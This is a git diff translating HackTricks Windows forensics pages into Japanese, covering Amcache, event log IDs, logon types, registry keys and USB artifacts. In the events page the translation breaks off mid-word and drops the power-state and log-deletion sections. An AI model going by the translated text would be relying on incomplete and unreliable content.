+この情報を解析するために、[**Amcacheparser**](https://github.com/EricZimmerman/AmcacheParser)ツールを使用できます。 ```bash AmcacheParser.exe -f C:\Users\student\Desktop\Amcache.hve --csv C:\Users\student\Desktop\srum ``` - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +最も興味深い生成されたCSVファイルは、「Amcache_Unassociated file entries」です。 ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +このアーティファクトは、W7の`C:\Windows\AppCompat\Programs\RecentFileCache.bcf`にのみ存在し、一部のバイナリの最近の実行に関する情報を含んでいます。 -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +ツール[**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)を使用してファイルを解析できます。 -### Scheduled tasks +### スケジュールされたタスク -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +これらは`C:\Windows\Tasks`または`C:\Windows\System32\Tasks`から抽出し、XMLとして読み取ることができます。 -### Services +### サービス -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +これらはレジストリの`SYSTEM\ControlSet001\Services`にあります。実行される内容と実行時刻を確認できます。 -### **Windows Store** +### **Windowsストア** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +インストールされたアプリケーションは`\ProgramData\Microsoft\Windows\AppRepository\`にあります。\ +このリポジトリには、データベース**`StateRepository-Machine.srd`**内のシステムにインストールされた**各アプリケーション**の**ログ**があります。 -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +このデータベースのApplicationテーブル内には、「Application ID」、「PackageNumber」、「Display Name」という列があります。これらの列には、プリインストールされたアプリケーションとインストールされたアプリケーションに関する情報が含まれており、インストールされたアプリケーションのIDは連続しているはずです。 -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +また、レジストリパス`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`内には、**インストールされたアプリケーション**が見つかります。\ +そして、**アンインストールされたアプリケーション**は`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`にあります。 -## Windows Events +## Windowsイベント -Information that appears inside Windows events are: +Windowsイベントに表示される情報は次のとおりです。 -* What happened -* Timestamp (UTC + 0) -* Users involved -* Hosts involved (hostname, IP) -* Assets accessed (files, folder, printer, services) +* 発生したこと +* タイムスタンプ(UTC + 0) +* 関与したユーザー +* 関与したホスト(ホスト名、IP) +* アクセスされたアセット(ファイル、フォルダ、プリンター、サービス) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +ログは、Windows Vistaより前では`C:\Windows\System32\config`に、Windows Vista以降では`C:\Windows\System32\winevt\Logs`にあります。Windows Vistaより前では、イベントログはバイナリ形式であり、それ以降は**XML形式**であり、**.evtx**拡張子を使用します。 -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +イベントファイルの場所は、SYSTEMレジストリの**`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**に記載されています。 -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +Windowsイベントビューア(**`eventvwr.msc`**)や[**Event Log Explorer**](https://eventlogxp.com)や[**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)****などの他のツールで表示することができます。 -### Security +### セキュリティ -This registers the access events and gives information about the security configuration which can be found in `C:\Windows\System32\winevt\Security.evtx`. +これにはアクセスイベントが登録され、セキュリティ設定に関する情報が`C:\Windows\System32\winevt\Security.evtx`に見つかります。 -The **max size** of the event file is configurable, and it will start overwriting old events when the maximum size is reached. +イベントファイルの**最大サイズ**は設定可能であり、最大サイズに達すると古いイベントが上書きされます。 -Events that are registered as: +次のように登録されるイベント: -* Login/Logoff -* Actions of the user -* Access to files, folders and shared assets -* Modification of the security configuration +* ログイン/ログオフ +* ユーザーの操作 +* ファイル、フォルダ、共有アセットへのアクセス +* セキュリティ設定の変更 -Events related to user authentication: +ユーザー認証に関連するイベント: -| EventID | Description | +| EventID | 説明 | | --------- | ---------------------------- | -| 4624 | Successful authentication | -| 4625 | Authentication error | -| 4634/4647 | log off | -| 4672 | Login with admin permissions | +| 4624 | 認証成功 | +| 4625 | 認証エラー | +| 4634/4647 | ログオフ | +| 4672 | 管理者権限でのログイン | -Inside the EventID 4634/4647 there are interesting sub-types: +EventID 4634/4647には興味深いサブタイプがあります: -* **2 (interactive)**: The login was interactive using the keyboard or software like VNC or `PSexec -U-` -* **3 (network)**: Connection to a shared folder -* **4 (Batch)**: Process executed -* **5 (service)**: Service started by the Service Control Manager -* **6 (proxy):** Proxy Login -* **7 (Unlock)**: Screen unblocked using password -* **8 (network cleartext)**: User authenticated sending clear text passwords. This event used to come from the IIS -* **9 (new credentials)**: It's generated when the command `RunAs` is used or the user access a network service with different credentials. -* **10 (remote interactive)**: Authentication via Terminal Services or RDP -* **11 (cache interactive)**: Access using the last cached credentials because it wasn't possible to contact the domain controller -* **12 (cache remote interactive)**: Login remotely with cached credentials (a combination of 10 and 11). -* **13 (cached unlock)**: Unlock a locked machine with cached credentials. +* **2 (interactive)**: キーボードやVNC、`PSexec -U-`などのソフトウェアを使用した対話型のログイン +* **3 (network)**: 共有フォルダへの接続 +* **4 (Batch)**: 実行されたプロセス +* **5 (service)**: サービスがサービス制御マネージャーによって開始された +* **6 (proxy):** プロキシログイン +* **7 (Unlock)**: パスワードを使用して画面のロックを解除 +* **8 (network cleartext)**: クリアテキストパスワードを送信して認証されたユーザー。このイベントは以前はIISから来ていました +* **9 (new credentials)**: `RunAs`コマンドが使用された場合や、ユーザーが異なる資格情報でネットワークサービスにアクセスした場合に生成されます。 +* **10 (remote interactive)**: ターミナルサービスまたはRDPを介した認証 +* **11 (cache interactive)**: ドメインコントローラに連絡できなかったため、最後にキャッシュされた資格情報を使用してアクセス +* **12 (cache remote interactive)**: キャッシュされた資格情報を使用してリモートでログイン(10と11の組み合わせ) +* **13 (cached unlock)**: キャッシュされた資格情報を使用してロックされたマシンを解除 -In this post, you can find how to mimic all these types of login and in which of them you will be able to dump credentials from memory: [https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) +この記事では、これらのログインタイプをすべて模倣する方法と、どのログインタイプでメモリから資格情報をダンプできるかを見つけることができます:[https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them) -The Status and sub status information of the events can indicate more details about the causes of the event. For example, take a look at the following Status and Sub Status Codes of the Event ID 4625: +イベントのステータスとサブステータス情報は、イベントの原因に関する詳細を示す場合があります。たとえば、Event ID 4625の次のステータスとサブステータスコードを参照してください: ![](<../../../.gitbook/assets/image (455).png>) -### Recovering Windows Events +### Windowsイベントの回復 -It's highly recommended to turn off the suspicious PC by **unplugging it** to maximize the probability of recovering the Windows Events. In case they were deleted, a tool that can be useful to try and recover them is [**Bulk\_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) indicating the **evtx** extension. +Windowsイベントを回復するためには、不審なPCの電源を**抜く**ことを強くお勧めします。削除された場合、[**Bulk\_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor)というツールを使用して回復を試みることができます。拡張子は**evtx**です。 -## Identifying Common Attacks with Windows Events +## Windowsイベントでの一般的な攻撃の特定 -### Brute Force Attack +### ブルートフォース攻撃 -A brute force attack can be easily identifiable because **several EventIDs 4625 will appear**. If the attack was **successful**, after the EventIDs 4625, **an EventID 4624 will appear**. +ブルートフォース攻撃は、**複数のEventID 4625が表示される**ため、簡単に特定できます。攻撃が**成功した場合**、EventID 4625の後に**EventID 4624が表示されます**。 -### Time Change +### 時間の変更 -This is awful for the forensics team as all the timestamps will be modified. This event is recorded by the EventID 4616 inside the Security Event log. +これはフォレンジックチームにとって非常に困難であり、すべてのタイムスタンプが変更されます。このイベントは、セキュリティイベントログ内のEventID 4616に記録されます。 -### USB devices +### USBデバイス -The following System EventIDs are useful: +次のシステムイベントIDが役立ちます: -* 20001 / 20003 / 10000: First time it was used -* 10100: Driver update +* 20001 / 20003 / 10000: 初めて使用されたとき +* 10100: ドライバの更新 -The EventID 112 from DeviceSetupManager contains the timestamp of each USB device inserted. +DeviceSetupManagerのイベントID 112には、挿入された各USBデバイスのタイムスタ +* [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、[Twitter](https://twitter.com/hacktricks_live)で私をフォローしてください[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks\_live)。 -### Turn Off / Turn On - -The ID 6005 of the "Event Log" service indicates the PC was turned On. The ID 6006 indicates it was turned Off. - -### Logs Deletion - -The Security EventID 1102 indicates the logs were deleted. - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+* ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 diff --git a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 9c8a8250d..a53f53ddb 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,60 +1,60 @@ -# Interesting Windows Registry Keys +# おもしろいWindowsレジストリキー -## Interesting Windows Registry Keys +## おもしろいWindowsレジストリキー
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## **Windows system info** +## **Windowsシステム情報** -### Version +### バージョン -* **`Software\Microsoft\Windows NT\CurrentVersion`**: Windows version, Service Pack, Installation time and the registered owner +* **`Software\Microsoft\Windows NT\CurrentVersion`**: Windowsのバージョン、Service Pack、インストール時間、登録所有者 -### Hostname +### ホスト名 -* **`System\ControlSet001\Control\ComputerName\ComputerName`**: Hostname +* **`System\ControlSet001\Control\ComputerName\ComputerName`**: ホスト名 -### Timezone +### タイムゾーン -* **`System\ControlSet001\Control\TimeZoneInformation`**: TimeZone +* **`System\ControlSet001\Control\TimeZoneInformation`**: タイムゾーン -### Last Access Time +### 最終アクセス時刻 -* **`System\ControlSet001\Control\Filesystem`**: Last time access (by default it's disabled with `NtfsDisableLastAccessUpdate=1`, if `0`, then, it's enabled). - * To enable it: `fsutil behavior set disablelastaccess 0` +* **`System\ControlSet001\Control\Filesystem`**: 最終アクセス時刻(デフォルトでは`NtfsDisableLastAccessUpdate=1`で無効化されていますが、`0`の場合は有効です)。 +* 有効にするには: `fsutil behavior set disablelastaccess 0` -### Shutdown Time +### シャットダウン時刻 -* `System\ControlSet001\Control\Windows`: Shutdown time -* `System\ControlSet001\Control\Watchdog\Display`: Shutdown count (only XP) +* `System\ControlSet001\Control\Windows`: シャットダウン時刻 +* `System\ControlSet001\Control\Watchdog\Display`: シャットダウン回数(XPのみ) -### Network Information +### ネットワーク情報 -* **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**: Network interfaces -* **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache`**: First and last time a network connection was performed and connections through VPN -* **`Software\Microsoft\WZCSVC\Parameters\Interfaces{GUID}` (for XP) & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles`**: Network type (0x47-wireless, 0x06-cable, 0x17-3G) an category (0-Public, 1-Private/Home, 2-Domain/Work) and last connections +* **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**: ネットワークインターフェース +* **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache`**: ネットワーク接続が行われた最初と最後の時刻、およびVPN経由の接続 +* **`Software\Microsoft\WZCSVC\Parameters\Interfaces{GUID}`(XP用) & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles`**: ネットワークの種類(0x47-ワイヤレス、0x06-ケーブル、0x17-3G)とカテゴリ(0-パブリック、1-プライベート/ホーム、2-ドメイン/ワーク)および最後の接続 -### Shared Folders +### 共有フォルダ -* **`System\ControlSet001\Services\lanmanserver\Shares\`**: Share folders and their configurations. If **Client Side Caching** (CSCFLAGS) is enabled, then, a copy of the shared files will be saved in the clients and server in `C:\Windows\CSC` - * CSCFlag=0 -> By default the user needs to indicate the files that he wants to cache - * CSCFlag=16 -> Automatic caching documents. “All files and programs that users open from the shared folder are automatically available offline” with the “optimize for performance" unticked. - * CSCFlag=32 -> Like the previous options by “optimize for performance” is ticked - * CSCFlag=48 -> Cache is disabled. - * CSCFlag=2048: This setting is only on Win 7 & 8 and is the default setting until you disable “Simple file sharing” or use the “advanced” sharing option. It also appears to be the default setting for the “Homegroup” - * CSCFlag=768 -> This setting was only seen on shared Print devices. +* **`System\ControlSet001\Services\lanmanserver\Shares\`**: 共有フォルダとその設定。**クライアントサイドキャッシュ**(CSCFLAGS)が有効になっている場合、共有ファイルのコピーがクライアントとサーバーの`C:\Windows\CSC`に保存されます。 +* CSCFlag=0 -> ユーザーはキャッシュするファイルを指定する必要があります(デフォルト)。 +* CSCFlag=16 -> ドキュメントの自動キャッシュ。共有フォルダからユーザーが開くすべてのファイルとプログラムがオフラインで自動的に利用可能になります(「パフォーマンス向上のために最適化」はチェックされていません)。 +* CSCFlag=32 -> 前のオプションと同様ですが、「パフォーマンス向上のために最適化」がチェックされています。 +* CSCFlag=48 -> キャッシュが無効になっています。 +* CSCFlag=2048: この設定はWin 7および8のみで、[「シンプルファイル共有」を無効にするか、「詳細」な共有オプションを使用するまでのデフォルト設定です。また、「ホームグループ」のデフォルト設定のようです。 +* CSCFlag=768 -> この設定は共有プリントデバイスでのみ見られました。 -### AutoStart programs +### 自動起動プログラム * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run` * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunOnce` @@ -62,39 +62,38 @@ * `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run` * `Software\Microsoft\Windows\CurrentVersion\Run` -### Explorer Searches +### エクスプローラーの検索 -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordwheelQuery`: What the user searched for using explorer/helper. The item with `MRU=0` is the last one. +* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordwheelQuery`: エクスプローラー/ヘルパーを使用してユーザーが検索した内容。`MRU=0`の項目が最後の検索です。 -### Typed Paths +### 入力済みパス -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths`: Paths types in the explorer (only W10) +* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths`: エクスプローラーでのパスの入力済みタイプ(W10のみ) -### Recent Docs - -* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`: Recent documents opened by the user -* `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word}\FileMRU`:Recent office docs. Versions: - * 14.0 Office 2010 - * 12.0 Office 2007 - * 11.0 Office 2003 - * 10.0 Office X -* `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word} UserMRU\LiveID_###\FileMRU`: Recent office docs. Versions: - * 15.0 office 2013 - * 16.0 Office 2016 +### 最近のドキュメント +* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`: ユーザーが最近開いたドキュメント +* `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word}\FileMRU`: 最近のOfficeドキュメント。バージョン: +* 14.0 Office 2010 +* 12.0 Office 2007 +* 11.0 Office 2003 +* 10.0 Office X +* `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word} UserMRU\LiveID_###\FileMRU`: 最近のOfficeドキュメント。バージョン: +* 15.0 Office 2013 +* 16.0 Office 2016 ### MRUs * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU` * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LasVisitedPidlMRU` -Indicates the path from where the executable was executed +実行された実行可能ファイルのパスを示します。 * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSaveMRU` (XP) * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSavePidlMRU` -Indicates files opened inside an opened Window +開かれたウィンドウ内で開かれたファイルを示します。 -### Last Run Commands +### 最後に実行されたコマンド * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Policies\RunMR` @@ -103,89 +102,89 @@ Indicates files opened inside an opened Window * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count` -The GUID is the id of the application. Data saved: +GUIDはアプリケーションのIDです。保存されるデータ: -* Last Run Time -* Run Count -* GUI application name (this contains the abs path and more information) -* Focus time and Focus name +* 最後の実行時刻 +* 実行回数 +* GUIアプリケーション名(絶対パスとその他の情報を含む) +* フォーカス時間とフォーカス名 ## Shellbags -When you open a directory Windows saves data about how to visualize the directory in the registry. These entries are known as Shellbags. +ディレクトリを開くと、Windowsはレジストリにディレクトリの表示方法に関するデータを保存します。これらのエントリはShellbagsとして知られています。 -Explorer Access: +エクスプローラアクセス: * `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags` * `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU` -Desktop Access: +デスクトップアクセス: * `NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU` * `NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags` -To analyze the Shellbags you can use [**Shellbag Explorer**](https://ericzimmerman.github.io/#!index.md) and you will be able to find the\*\* MAC time of the folder **and also the** creation date and modified date of the shellbag which are related to the\*\* first time and the last time\*\* the folder was accessed. +Shellbagsを分析するには、[**Shellbag Explorer**](https://ericzimmerman.github.io/#!index.md)を使用することができます。これにより、フォルダのMAC時刻と、シェルバッグの作成日時と変更日時(フォルダの最初のアクセス時刻と最後のアクセス時刻に関連する)を見つけることができます。 -Note 2 things from the following image: +以下の画像から2つのことに注意してください: -1. We know the **name of the folders of the USB** that was inserted in **E:** -2. We know when the **shellbag was created and modified** and when the folder was created and accessed +1. **E:**に挿入された**USBのフォルダ名**がわかります。 +2. **シェルバッグが作成および変更された**時期と、フォルダが作成およびアクセスされた時期がわかります。 ![](<../../../.gitbook/assets/image (475).png>) -## USB information +## USB情報 -### Device Info +### デバイス情報 -The registry `HKLM\SYSTEM\ControlSet001\Enum\USBSTOR` monitors each USB device that has been connected to the PC.\ -Within this registry it's possible to find: +レジストリ`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`は、PCに接続された各USBデバイスを監視します。\ +このレジストリ内で次の情報を見つけることができます: -* The manufacturer's name -* The product name and version -* The Device Class ID -* The volume name (in the following images the volume name is the highlighted subkey) +* メーカー名 +* 製品名とバージョン +* デバイスクラスID +* ボリューム名(以下の画像ではボリューム名がハイライトされています) ![](<../../../.gitbook/assets/image (477).png>) ![](<../../../.gitbook/assets/image (479) (1).png>) -Moreover, by checking the registry `HKLM\SYSTEM\ControlSet001\Enum\USB` and comparing the values of the sub-keys it's possible to find the VID value. +さらに、レジストリ`HKLM\SYSTEM\ControlSet001\Enum\USB`をチェックし、サブキーの値を比較することで、VID値を見つけることができます。 ![](<../../../.gitbook/assets/image (478).png>) -With the previous information the registry `SOFTWARE\Microsoft\Windows Portable Devices\Devices` can be used to obtain the **`{GUID}`**: +前の情報を使用して、レジストリ`SOFTWARE\Microsoft\Windows Portable Devices\Devices`から**`{GUID}`**を取得できます。 ![](<../../../.gitbook/assets/image (480).png>) -### User that used the device +### デバイスを使用したユーザー -Having the **{GUID}** of the device it's now possible to **check all the NTUDER.DAT hives of all the users**, searching for the GUID until you find it in one of them (`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Mountpoints2`). +デバイスの**{GUID}**を持っている場合、**すべてのユーザーのNTUDER.DATハイブ**をチェックし、GUIDを見つけるまで検索することができます(`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Mountpoints2`)。 ![](<../../../.gitbook/assets/image (481).png>) -### Last mounted +### 最後にマウントされたデバイス -Checking the registry `System\MoutedDevices` it's possible to find out **which device was the last one mounted**. In the following image check how the last device mounted in `E:` is the Toshiba one (using the tool Registry Explorer). +レジストリ`System\MoutedDevices`をチェックすると、**最後にマウントされたデバイス**がわかります。次の画像では、ツールRegistry Explorerを使用して、`E:`にマウントされた最後のデバイスがToshibaであることがわかります。 ![](<../../../.gitbook/assets/image (483) (1) (1).png>) -### Volume Serial Number +### ボリュームシリアル番号 -In `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` you can find the volume serial number. **Knowing the volume name and the volume serial number you can correlate the information** from LNK files that uses that information. +`Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`にボリュームシリアル番号が記載されています。**ボリューム名とボリュームシリアル番号を知ることで、その情報を使用するLNKファイルからの情報を関連付ける**ことができます。 -Note that when a USB device is formatted: +USBデバイスがフォーマットされると次のことが行われます: -* A new volume name is created -* A new volume serial number is created -* The physical serial number is kept +* 新しいボリューム名が作成されます +* 新しいボリュームシリアル番号が作成されます +* 物理的なシリアル番号は保持されます -### Timestamps +### タイムスタンプ -In `System\ControlSet001\Enum\USBSTOR{VEN_PROD_VERSION}{USB serial}\Properties{83da6326-97a6-4088-9453-a1923f573b29}\` you can find the first and last time the device was connected: +`System\ControlSet001\Enum\USBSTOR{VEN_PROD_VERSION}{USB serial}\Properties{83da6326-97a6-4088-9453-a1923f573b29}\`には、デバイスが接続された最初の時間と最後の時間が記載されています: -* 0064 -- First connection -* 0066 -- Last connection -* 0067 -- Disconnection +* 0064 -- 最初の接続 +* 0066 -- 最後の接続 +* 0067 -- 切断 ![](<../../../.gitbook/assets/image (482).png>) @@ -193,10 +192,10 @@ In `System\ControlSet001\Enum\USBSTOR{VEN_PROD_VERSION}{USB serial}\Properties{8 ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 diff --git a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md index 8a2c5b0dc..8a4ba8ca0 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ b/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md @@ -1,151 +1,145 @@ - -
